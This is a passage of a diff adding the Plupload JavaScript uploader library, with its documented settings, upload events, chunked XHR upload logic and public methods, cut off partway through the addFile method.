+	@param {String} settings.url URL of the server-side upload handler.
+	@param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled.
+	@param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes.
+	@param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element.
+	@param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop.
+	@param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message.
+	@param {Object} [settings.filters={}] Set of file type filters.
+		@param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR`
+		@param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`.
+		@param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`.
+	@param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress)
+	@param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs.
+	@param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event.
+	@param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message.
+	@param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload.
+	@param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog.
+	@param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess.
+	@param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}`
+		@param {Number} [settings.resize.width] If image is bigger, it will be resized.
+		@param {Number} [settings.resize.height] If image is bigger, it will be resized.
+		@param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100).
+		@param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally.
+	@param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails.
+	@param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress)
+	@param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files.
+	@param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways).
+*/
+plupload.Uploader = function(options) {
+	/**
+	Fires when the current RunTime has been initialized.
+	
+	@event Init
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */
+
+	/**
+	Fires after the init event incase you need to perform actions there.
+	
+	@event PostInit
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */
+
+	/**
+	Fires when the option is changed in via uploader.setOption().
+	
+	@event OptionChanged
+	@since 2.1
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {String} name Name of the option that was changed
+	@param {Mixed} value New value for the specified option
+	@param {Mixed} oldValue Previous value of the option
+	 */
+
+	/**
+	Fires when the silverlight/flash or other shim needs to move.
+	
+	@event Refresh
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */
+
+	/**
+	Fires when the overall state is being changed for the upload queue.
+	
+	@event StateChanged
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */
+
+	/**
+	Fires when browse_button is clicked and browse dialog shows.
+	
+	@event Browse
+	@since 2.1.2
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */	
+
+	/**
+	Fires for every filtered file before it is added to the queue.
+	
+	@event FileFiltered
+	@since 2.1
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {plupload.File} file Another file that has to be added to the queue.
+	 */
+
+	/**
+	Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance.
+	
+	@event QueueChanged
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */ 
+
+	/**
+	Fires after files were filtered and added to the queue.
+	
+	@event FilesAdded
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {Array} files Array of file objects that were added to queue by the user.
+	 */
+
+	/**
+	Fires when file is removed from the queue.
+	
+	@event FilesRemoved
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {Array} files Array of files that got removed.
+	 */
+
+	/**
+	Fires just before a file is uploaded. Can be used to cancel the upload for the specified file
+	by returning false from the handler.
+	
+	@event BeforeUpload
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {plupload.File} file File to be uploaded.
+	 */
+
+	/**
+	Fires when a file is to be uploaded by the runtime.
+	
+	@event UploadFile
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {plupload.File} file File to be uploaded.
+	 */
+
+	/**
+	Fires while a file is being uploaded. Use this event to update the current file upload progress.
+	
+	@event UploadProgress
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {plupload.File} file File that is currently being uploaded.
+	 */	
+
+	/**
+	Fires when file chunk is uploaded.
+	
+	@event ChunkUploaded
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {plupload.File} file File that the chunk was uploaded for.
+	@param {Object} result Object with response properties.
+		@param {Number} result.offset The amount of bytes the server has received so far, including this chunk.
+		@param {Number} result.total The size of the file.
+		@param {String} result.response The response body sent by the server.
+		@param {Number} result.status The HTTP status code sent by the server.
+		@param {String} result.responseHeaders All the response headers as a single string.
+	 */
+
+	/**
+	Fires when a file is successfully uploaded.
+	
+	@event FileUploaded
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {plupload.File} file File that was uploaded.
+	@param {Object} result Object with response properties.
+		@param {String} result.response The response body sent by the server.
+		@param {Number} result.status The HTTP status code sent by the server.
+		@param {String} result.responseHeaders All the response headers as a single string.
+	 */
+
+	/**
+	Fires when all files in a queue are uploaded.
+	
+	@event UploadComplete
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {Array} files Array of file objects that was added to queue/selected by the user.
+	 */
+
+	/**
+	Fires when a error occurs.
+	
+	@event Error
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	@param {Object} error Contains code, message and sometimes file and other details.
+		@param {Number} error.code The plupload error code.
+		@param {String} error.message Description of the error (uses i18n).
+	 */
+
+	/**
+	Fires when destroy method is called.
+	
+	@event Destroy
+	@param {plupload.Uploader} uploader Uploader instance sending the event.
+	 */
+	var uid = plupload.guid()
+	, settings
+	, files = []
+	, preferred_caps = {}
+	, fileInputs = []
+	, fileDrops = []
+	, startTime
+	, total
+	, disabled = false
+	, xhr
+	;
+
+
+	// Private methods
+	function uploadNext() {
+		var file, count = 0, i;
+
+		if (this.state == plupload.STARTED) {
+			// Find first QUEUED file
+			for (i = 0; i < files.length; i++) {
+				if (!file && files[i].status == plupload.QUEUED) {
+					file = files[i];
+					if (this.trigger("BeforeUpload", file)) {
+						file.status = plupload.UPLOADING;
+						this.trigger("UploadFile", file);
+					}
+				} else {
+					count++;
+				}
+			}
+
+			// All files are DONE or FAILED
+			if (count == files.length) {
+				if (this.state !== plupload.STOPPED) {
+					this.state = plupload.STOPPED;
+					this.trigger("StateChanged");
+				}
+				this.trigger("UploadComplete", files);
+			}
+		}
+	}
+
+
+	function calcFile(file) {
+		file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100;
+		calc();
+	}
+
+
+	function calc() {
+		var i, file;
+
+		// Reset stats
+		total.reset();
+
+		// Check status, size, loaded etc on all files
+		for (i = 0; i < files.length; i++) {
+			file = files[i];
+
+			if (file.size !== undef) {
+				// We calculate totals based on original file size
+				total.size += file.origSize;
+
+				// Since we cannot predict file size after resize, we do opposite and
+				// interpolate loaded amount to match magnitude of total
+				total.loaded += file.loaded * file.origSize / file.size;
+			} else {
+				total.size = undef;
+			}
+
+			if (file.status == plupload.DONE) {
+				total.uploaded++;
+			} else if (file.status == plupload.FAILED) {
+				total.failed++;
+			} else {
+				total.queued++;
+			}
+		}
+
+		// If we couldn't calculate a total file size then use the number of files to calc percent
+		if (total.size === undef) {
+			total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0;
+		} else {
+			total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0));
+			total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0;
+		}
+	}
+
+
+	function getRUID() {
+		var ctrl = fileInputs[0] || fileDrops[0];
+		if (ctrl) {
+			return ctrl.getRuntime().uid;
+		}
+		return false;
+	}
+
+
+	function runtimeCan(file, cap) {
+		if (file.ruid) {
+			var info = o.Runtime.getInfo(file.ruid);
+			if (info) {
+				return info.can(cap);
+			}
+		}
+		return false;
+	}
+
+
+	function bindEventListeners() {
+		this.bind('FilesAdded FilesRemoved', function(up) {
+			up.trigger('QueueChanged');
+			up.refresh();
+		});
+
+		this.bind('CancelUpload', onCancelUpload);
+		
+		this.bind('BeforeUpload', onBeforeUpload);
+
+		this.bind('UploadFile', onUploadFile);
+
+		this.bind('UploadProgress', onUploadProgress);
+
+		this.bind('StateChanged', onStateChanged);
+
+		this.bind('QueueChanged', calc);
+
+		this.bind('Error', onError);
+
+		this.bind('FileUploaded', onFileUploaded);
+
+		this.bind('Destroy', onDestroy);
+	}
+
+
+	function initControls(settings, cb) {
+		var self = this, inited = 0, queue = [];
+
+		// common settings
+		var options = {
+			runtime_order: settings.runtimes,
+			required_caps: settings.required_features,
+			preferred_caps: preferred_caps
+		};
+
+		// add runtime specific options if any
+		plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) {
+			if (settings[runtime]) {
+				options[runtime] = settings[runtime];
+			}
+		});
+
+		// initialize file pickers - there can be many
+		if (settings.browse_button) {
+			plupload.each(settings.browse_button, function(el) {
+				queue.push(function(cb) {
+					var fileInput = new o.FileInput(plupload.extend({}, options, {
+						accept: settings.filters.mime_types,
+						name: settings.file_data_name,
+						multiple: settings.multi_selection,
+						container: settings.container,
+						browse_button: el
+					}));
+
+					fileInput.onready = function() {
+						var info = o.Runtime.getInfo(this.ruid);
+
+						// for backward compatibility
+						o.extend(self.features, {
+							chunks: info.can('slice_blob'),
+							multipart: info.can('send_multipart'),
+							multi_selection: info.can('select_multiple')
+						});
+
+						inited++;
+						fileInputs.push(this);
+						cb();
+					};
+
+					fileInput.onchange = function() {
+						self.addFile(this.files);
+					};
+
+					fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) {
+						if (!disabled) {
+							if (settings.browse_button_hover) {
+								if ('mouseenter' === e.type) {
+									o.addClass(el, settings.browse_button_hover);
+								} else if ('mouseleave' === e.type) {
+									o.removeClass(el, settings.browse_button_hover);
+								}
+							}
+
+							if (settings.browse_button_active) {
+								if ('mousedown' === e.type) {
+									o.addClass(el, settings.browse_button_active);
+								} else if ('mouseup' === e.type) {
+									o.removeClass(el, settings.browse_button_active);
+								}
+							}
+						}
+					});
+
+					fileInput.bind('mousedown', function() {
+						self.trigger('Browse');
+					});
+
+					fileInput.bind('error runtimeerror', function() {
+						fileInput = null;
+						cb();
+					});
+
+					fileInput.init();
+				});
+			});
+		}
+
+		// initialize drop zones
+		if (settings.drop_element) {
+			plupload.each(settings.drop_element, function(el) {
+				queue.push(function(cb) {
+					var fileDrop = new o.FileDrop(plupload.extend({}, options, {
+						drop_zone: el
+					}));
+
+					fileDrop.onready = function() {
+						var info = o.Runtime.getInfo(this.ruid);
+
+						// for backward compatibility
+						o.extend(self.features, {
+							chunks: info.can('slice_blob'),
+							multipart: info.can('send_multipart'),
+							dragdrop: info.can('drag_and_drop')
+						});
+
+						inited++;
+						fileDrops.push(this);
+						cb();
+					};
+
+					fileDrop.ondrop = function() {
+						self.addFile(this.files);
+					};
+
+					fileDrop.bind('error runtimeerror', function() {
+						fileDrop = null;
+						cb();
+					});
+
+					fileDrop.init();
+				});
+			});
+		}
+
+
+		o.inSeries(queue, function() {
+			if (typeof(cb) === 'function') {
+				cb(inited);
+			}
+		});
+	}
+
+
+	function resizeImage(blob, params, cb) {
+		var img = new o.Image();
+
+		try {
+			img.onload = function() {
+				// no manipulation required if...
+				if (params.width > this.width &&
+					params.height > this.height &&
+					params.quality === undef &&
+					params.preserve_headers &&
+					!params.crop
+				) {
+					this.destroy();
+					return cb(blob);
+				}
+				// otherwise downsize
+				img.downsize(params.width, params.height, params.crop, params.preserve_headers);
+			};
+
+			img.onresize = function() {
+				cb(this.getAsBlob(blob.type, params.quality));
+				this.destroy();
+			};
+
+			img.onerror = function() {
+				cb(blob);
+			};
+
+			img.load(blob);
+		} catch(ex) {
+			cb(blob);
+		}
+	}
+
+
+	function setOption(option, value, init) {
+		var self = this, reinitRequired = false;
+
+		function _setOption(option, value, init) {
+			var oldValue = settings[option];
+
+			switch (option) {
+				case 'max_file_size':
+					if (option === 'max_file_size') {
+						settings.max_file_size = settings.filters.max_file_size = value;
+					}
+					break;
+
+				case 'chunk_size':
+					if (value = plupload.parseSize(value)) {
+						settings[option] = value;
+						settings.send_file_name = true;
+					}
+					break;
+
+				case 'multipart':
+					settings[option] = value;
+					if (!value) {
+						settings.send_file_name = true;
+					}
+					break;
+
+				case 'unique_names':
+					settings[option] = value;
+					if (value) {
+						settings.send_file_name = true;
+					}
+					break;
+
+				case 'filters':
+					// for sake of backward compatibility
+					if (plupload.typeOf(value) === 'array') {
+						value = {
+							mime_types: value
+						};
+					}
+
+					if (init) {
+						plupload.extend(settings.filters, value);
+					} else {
+						settings.filters = value;
+					}
+
+					// if file format filters are being updated, regenerate the matching expressions
+					if (value.mime_types) {
+						settings.filters.mime_types.regexp = (function(filters) {
+							var extensionsRegExp = [];
+
+							plupload.each(filters, function(filter) {
+								plupload.each(filter.extensions.split(/,/), function(ext) {
+									if (/^\s*\*\s*$/.test(ext)) {
+										extensionsRegExp.push('\\.*');
+									} else {
+										extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&'));
+									}
+								});
+							});
+
+							return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i');
+						}(settings.filters.mime_types));
+					}
+					break;
+	
+				case 'resize':
+					if (init) {
+						plupload.extend(settings.resize, value, {
+							enabled: true
+						});
+					} else {
+						settings.resize = value;
+					}
+					break;
+
+				case 'prevent_duplicates':
+					settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value;
+					break;
+
+				// options that require reinitialisation
+				case 'container':
+				case 'browse_button':
+				case 'drop_element':
+						value = 'container' === option
+							? plupload.get(value)
+							: plupload.getAll(value)
+							; 
+				
+				case 'runtimes':
+				case 'multi_selection':
+					settings[option] = value;
+					if (!init) {
+						reinitRequired = true;
+					}
+					break;
+
+				default:
+					settings[option] = value;
+			}
+
+			if (!init) {
+				self.trigger('OptionChanged', option, value, oldValue);
+			}
+		}
+
+		if (typeof(option) === 'object') {
+			plupload.each(option, function(value, option) {
+				_setOption(option, value, init);
+			});
+		} else {
+			_setOption(option, value, init);
+		}
+
+		if (init) {
+			// Normalize the list of required capabilities
+			settings.required_features = normalizeCaps(plupload.extend({}, settings));
+
+			// Come up with the list of capabilities that can affect default mode in a multi-mode runtimes
+			preferred_caps = normalizeCaps(plupload.extend({}, settings, {
+				required_features: true
+			}));
+		} else if (reinitRequired) {
+			self.trigger('Destroy');
+			
+			initControls.call(self, settings, function(inited) {
+				if (inited) {
+					self.runtime = o.Runtime.getInfo(getRUID()).type;
+					self.trigger('Init', { runtime: self.runtime });
+					self.trigger('PostInit');
+				} else {
+					self.trigger('Error', {
+						code : plupload.INIT_ERROR,
+						message : plupload.translate('Init error.')
+					});
+				}
+			});
+		}
+	}
+
+
+	// Internal event handlers
+	function onBeforeUpload(up, file) {
+		// Generate unique target filenames
+		if (up.settings.unique_names) {
+			var matches = file.name.match(/\.([^.]+)$/), ext = "part";
+			if (matches) {
+				ext = matches[1];
+			}
+			file.target_name = file.id + '.' + ext;
+		}
+	}
+
+
+	function onUploadFile(up, file) {
+		var url = up.settings.url
+		, chunkSize = up.settings.chunk_size
+		, retries = up.settings.max_retries
+		, features = up.features
+		, offset = 0
+		, blob
+		;
+
+		// make sure we start at a predictable offset
+		if (file.loaded) {
+			offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0;
+		}
+
+		function handleError() {
+			if (retries-- > 0) {
+				delay(uploadNextChunk, 1000);
+			} else {
+				file.loaded = offset; // reset all progress
+
+				up.trigger('Error', {
+					code : plupload.HTTP_ERROR,
+					message : plupload.translate('HTTP Error.'),
+					file : file,
+					response : xhr.responseText,
+					status : xhr.status,
+					responseHeaders: xhr.getAllResponseHeaders()
+				});
+			}
+		}
+
+		function uploadNextChunk() {
+			var chunkBlob, formData, args = {}, curChunkSize;
+
+			// make sure that file wasn't cancelled and upload is not stopped in general
+			if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) {
+				return;
+			}
+
+			// send additional 'name' parameter only if required
+			if (up.settings.send_file_name) {
+				args.name = file.target_name || file.name;
+			}
+
+			if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory 
+				curChunkSize = Math.min(chunkSize, blob.size - offset);
+				chunkBlob = blob.slice(offset, offset + curChunkSize);
+			} else {
+				curChunkSize = blob.size;
+				chunkBlob = blob;
+			}
+
+			// If chunking is enabled add corresponding args, no matter if file is bigger than chunk or smaller
+			if (chunkSize && features.chunks) {
+				// Setup query string arguments
+				if (up.settings.send_chunk_number) {
+					args.chunk = Math.ceil(offset / chunkSize);
+					args.chunks = Math.ceil(blob.size / chunkSize);
+				} else { // keep support for experimental chunk format, just in case
+					args.offset = offset;
+					args.total = blob.size;
+				}
+			}
+
+			xhr = new o.XMLHttpRequest();
+
+			// Do we have upload progress support
+			if (xhr.upload) {
+				xhr.upload.onprogress = function(e) {
+					file.loaded = Math.min(file.size, offset + e.loaded);
+					up.trigger('UploadProgress', file);
+				};
+			}
+
+			xhr.onload = function() {
+				// check if upload made itself through
+				if (xhr.status >= 400) {
+					handleError();
+					return;
+				}
+
+				retries = up.settings.max_retries; // reset the counter
+
+				// Handle chunk response
+				if (curChunkSize < blob.size) {
+					chunkBlob.destroy();
+
+					offset += curChunkSize;
+					file.loaded = Math.min(offset, blob.size);
+
+					up.trigger('ChunkUploaded', file, {
+						offset : file.loaded,
+						total : blob.size,
+						response : xhr.responseText,
+						status : xhr.status,
+						responseHeaders: xhr.getAllResponseHeaders()
+					});
+
+					// stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them
+					if (o.Env.browser === 'Android Browser') {
+						// doesn't harm in general, but is not required anywhere else
+						up.trigger('UploadProgress', file);
+					} 
+				} else {
+					file.loaded = file.size;
+				}
+
+				chunkBlob = formData = null; // Free memory
+
+				// Check if file is uploaded
+				if (!offset || offset >= blob.size) {
+					// If file was modified, destory the copy
+					if (file.size != file.origSize) {
+						blob.destroy();
+						blob = null;
+					}
+
+					up.trigger('UploadProgress', file);
+
+					file.status = plupload.DONE;
+
+					up.trigger('FileUploaded', file, {
+						response : xhr.responseText,
+						status : xhr.status,
+						responseHeaders: xhr.getAllResponseHeaders()
+					});
+				} else {
+					// Still chunks left
+					delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere
+				}
+			};
+
+			xhr.onerror = function() {
+				handleError();
+			};
+
+			xhr.onloadend = function() {
+				this.destroy();
+				xhr = null;
+			};
+
+			// Build multipart request
+			if (up.settings.multipart && features.multipart) {
+				xhr.open("post", url, true);
+
+				// Set custom headers
+				plupload.each(up.settings.headers, function(value, name) {
+					xhr.setRequestHeader(name, value);
+				});
+
+				formData = new o.FormData();
+
+				// Add multipart params
+				plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) {
+					formData.append(name, value);
+				});
+
+				// Add file and send it
+				formData.append(up.settings.file_data_name, chunkBlob);
+				xhr.send(formData, {
+					runtime_order: up.settings.runtimes,
+					required_caps: up.settings.required_features,
+					preferred_caps: preferred_caps
+				});
+			} else {
+				// if no multipart, send as binary stream
+				url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params));
+
+				xhr.open("post", url, true);
+
+				xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header
+
+				// Set custom headers
+				plupload.each(up.settings.headers, function(value, name) {
+					xhr.setRequestHeader(name, value);
+				});
+
+				xhr.send(chunkBlob, {
+					runtime_order: up.settings.runtimes,
+					required_caps: up.settings.required_features,
+					preferred_caps: preferred_caps
+				});
+			}
+		}
+
+		blob = file.getSource();
+
+		// Start uploading chunks
+		if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) {
+			// Resize if required
+			resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) {
+				blob = resizedBlob;
+				file.size = resizedBlob.size;
+				uploadNextChunk();
+			});
+		} else {
+			uploadNextChunk();
+		}
+	}
+
+
+	function onUploadProgress(up, file) {
+		calcFile(file);
+	}
+
+
+	function onStateChanged(up) {
+		if (up.state == plupload.STARTED) {
+			// Get start time to calculate bps
+			startTime = (+new Date());
+		} else if (up.state == plupload.STOPPED) {
+			// Reset currently uploading files
+			for (var i = up.files.length - 1; i >= 0; i--) {
+				if (up.files[i].status == plupload.UPLOADING) {
+					up.files[i].status = plupload.QUEUED;
+					calc();
+				}
+			}
+		}
+	}
+
+
+	function onCancelUpload() {
+		if (xhr) {
+			xhr.abort();
+		}
+	}
+
+
+	function onFileUploaded(up) {
+		calc();
+
+		// Upload next file but detach it from the error event
+		// since other custom listeners might want to stop the queue
+		delay(function() {
+			uploadNext.call(up);
+		}, 1);
+	}
+
+
+	function onError(up, err) {
+		if (err.code === plupload.INIT_ERROR) {
+			up.destroy();
+		}
+		// Set failed status if an error occured on a file
+		else if (err.code === plupload.HTTP_ERROR) {
+			err.file.status = plupload.FAILED;
+			calcFile(err.file);
+
+			// Upload next file but detach it from the error event
+			// since other custom listeners might want to stop the queue
+			if (up.state == plupload.STARTED) { // upload in progress
+				up.trigger('CancelUpload');
+				delay(function() {
+					uploadNext.call(up);
+				}, 1);
+			}
+		}
+	}
+
+
+	function onDestroy(up) {
+		up.stop();
+
+		// Purge the queue
+		plupload.each(files, function(file) {
+			file.destroy();
+		});
+		files = [];
+
+		if (fileInputs.length) {
+			plupload.each(fileInputs, function(fileInput) {
+				fileInput.destroy();
+			});
+			fileInputs = [];
+		}
+
+		if (fileDrops.length) {
+			plupload.each(fileDrops, function(fileDrop) {
+				fileDrop.destroy();
+			});
+			fileDrops = [];
+		}
+
+		preferred_caps = {};
+		disabled = false;
+		startTime = xhr = null;
+		total.reset();
+	}
+
+
+	// Default settings
+	settings = {
+		runtimes: o.Runtime.order,
+		max_retries: 0,
+		chunk_size: 0,
+		multipart: true,
+		multi_selection: true,
+		file_data_name: 'file',
+		filters: {
+			mime_types: [],
+			prevent_duplicates: false,
+			max_file_size: 0
+		},
+		resize: {
+			enabled: false,
+			preserve_headers: true,
+			crop: false
+		},
+		send_file_name: true,
+		send_chunk_number: true
+	};
+
+	
+	setOption.call(this, options, null, true);
+
+	// Inital total state
+	total = new plupload.QueueProgress(); 
+
+	// Add public methods
+	plupload.extend(this, {
+
+		/**
+		 * Unique id for the Uploader instance.
+		 *
+		 * @property id
+		 * @type String
+		 */
+		id : uid,
+		uid : uid, // mOxie uses this to differentiate between event targets
+
+		/**
+		 * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED.
+		 * These states are controlled by the stop/start methods. The default value is STOPPED.
+		 *
+		 * @property state
+		 * @type Number
+		 */
+		state : plupload.STOPPED,
+
+		/**
+		 * Map of features that are available for the uploader runtime. Features will be filled
+		 * before the init event is called, these features can then be used to alter the UI for the end user.
+		 * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize.
+		 *
+		 * @property features
+		 * @type Object
+		 */
+		features : {},
+
+		/**
+		 * Current runtime name.
+		 *
+		 * @property runtime
+		 * @type String
+		 */
+		runtime : null,
+
+		/**
+		 * Current upload queue, an array of File instances.
+		 *
+		 * @property files
+		 * @type Array
+		 * @see plupload.File
+		 */
+		files : files,
+
+		/**
+		 * Object with name/value settings.
+		 *
+		 * @property settings
+		 * @type Object
+		 */
+		settings : settings,
+
+		/**
+		 * Total progess information. How many files has been uploaded, total percent etc.
+		 *
+		 * @property total
+		 * @type plupload.QueueProgress
+		 */
+		total : total,
+
+
+		/**
+		 * Initializes the Uploader instance and adds internal event listeners.
+		 *
+		 * @method init
+		 */
+		init : function() {
+			var self = this, opt, preinitOpt, err;
+			
+			preinitOpt = self.getOption('preinit');
+			if (typeof(preinitOpt) == "function") {
+				preinitOpt(self);
+			} else {
+				plupload.each(preinitOpt, function(func, name) {
+					self.bind(name, func);
+				});
+			}
+
+			bindEventListeners.call(self);
+
+			// Check for required options
+			plupload.each(['container', 'browse_button', 'drop_element'], function(el) {
+				if (self.getOption(el) === null) {
+					err = {
+						code : plupload.INIT_ERROR,
+						message : plupload.translate("'%' specified, but cannot be found.")
+					}
+					return false;
+				}
+			});
+
+			if (err) {
+				return self.trigger('Error', err);
+			}
+
+
+			if (!settings.browse_button && !settings.drop_element) {
+				return self.trigger('Error', {
+					code : plupload.INIT_ERROR,
+					message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.")
+				});
+			}
+
+
+			initControls.call(self, settings, function(inited) {
+				var initOpt = self.getOption('init');
+				if (typeof(initOpt) == "function") {
+					initOpt(self);
+				} else {
+					plupload.each(initOpt, function(func, name) {
+						self.bind(name, func);
+					});
+				}
+
+				if (inited) {
+					self.runtime = o.Runtime.getInfo(getRUID()).type;
+					self.trigger('Init', { runtime: self.runtime });
+					self.trigger('PostInit');
+				} else {
+					self.trigger('Error', {
+						code : plupload.INIT_ERROR,
+						message : plupload.translate('Init error.')
+					});
+				}
+			});
+		},
+
+		/**
+		 * Set the value for the specified option(s).
+		 *
+		 * @method setOption
+		 * @since 2.1
+		 * @param {String|Object} option Name of the option to change or the set of key/value pairs
+		 * @param {Mixed} [value] Value for the option (is ignored, if first argument is object)
+		 */
+		setOption: function(option, value) {
+			setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize
+		},
+
+		/**
+		 * Get the value for the specified option or the whole configuration, if not specified.
+		 * 
+		 * @method getOption
+		 * @since 2.1
+		 * @param {String} [option] Name of the option to get
+		 * @return {Mixed} Value for the option or the whole set
+		 */
+		getOption: function(option) {
+			if (!option) {
+				return settings;
+			}
+			return settings[option];
+		},
+
+		/**
+		 * Refreshes the upload instance by dispatching out a refresh event to all runtimes.
+		 * This would for example reposition flash/silverlight shims on the page.
+		 *
+		 * @method refresh
+		 */
+		refresh : function() {
+			if (fileInputs.length) {
+				plupload.each(fileInputs, function(fileInput) {
+					fileInput.trigger('Refresh');
+				});
+			}
+			this.trigger('Refresh');
+		},
+
+		/**
+		 * Starts uploading the queued files.
+		 *
+		 * @method start
+		 */
+		start : function() {
+			if (this.state != plupload.STARTED) {
+				this.state = plupload.STARTED;
+				this.trigger('StateChanged');
+
+				uploadNext.call(this);
+			}
+		},
+
+		/**
+		 * Stops the upload of the queued files.
+		 *
+		 * @method stop
+		 */
+		stop : function() {
+			if (this.state != plupload.STOPPED) {
+				this.state = plupload.STOPPED;
+				this.trigger('StateChanged');
+				this.trigger('CancelUpload');
+			}
+		},
+
+
+		/**
+		 * Disables/enables browse button on request.
+		 *
+		 * @method disableBrowse
+		 * @param {Boolean} disable Whether to disable or enable (default: true)
+		 */
+		disableBrowse : function() {
+			disabled = arguments[0] !== undef ? arguments[0] : true;
+
+			if (fileInputs.length) {
+				plupload.each(fileInputs, function(fileInput) {
+					fileInput.disable(disabled);
+				});
+			}
+
+			this.trigger('DisableBrowse', disabled);
+		},
+
+		/**
+		 * Returns the specified file object by id.
+		 *
+		 * @method getFile
+		 * @param {String} id File id to look for.
+		 * @return {plupload.File} File object or undefined if it wasn't found;
+		 */
+		getFile : function(id) {
+			var i;
+			for (i = files.length - 1; i >= 0; i--) {
+				if (files[i].id === id) {
+					return files[i];
+				}
+			}
+		},
+
+		/**
+		 * Adds file to the queue programmatically. Can be native file, instance of Plupload.File,
+		 * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded, 
+		 * if any files were added to the queue. Otherwise nothing happens.
+		 *
+		 * @method addFile
+		 * @since 2.0
+		 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue.
+		 * @param {String} [fileName] If specified, will be used as a name for the file
+		 */
+		addFile : function(file, fileName) {
+			var self = this
+			, queue = [] 
+			, filesAdded = []
+			, ruid
+			;
+
+			function filterFile(file, cb) {
+				var queue = [];
+				o.each(self.settings.filters, function(rule, name) {
+					if (fileFilters[name]) {
+						queue.push(function(cb) {
+							fileFilters[name].call(self, rule, file, function(res) {
+								cb(!res);
+							});
+						});
+					}
+				});
+				o.inSeries(queue, cb);
+			}
+
+			/**
+			 * @method resolveFile
+			 * @private
+			 * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file
+			 */
+			function resolveFile(file) {
+				var type = o.typeOf(file);
+
+				// o.File
+				if (file instanceof o.File) { 
+					if (!file.ruid && !file.isDetached()) {
+						if (!ruid) { // weird case
+							return false;
+						}
+						file.ruid = ruid;
+						file.connectRuntime(ruid);
+					}
+					resolveFile(new plupload.File(file));
+				}
+				// o.Blob 
+				else if (file instanceof o.Blob) {
+					resolveFile(file.getSource());
+					file.destroy();
+				} 
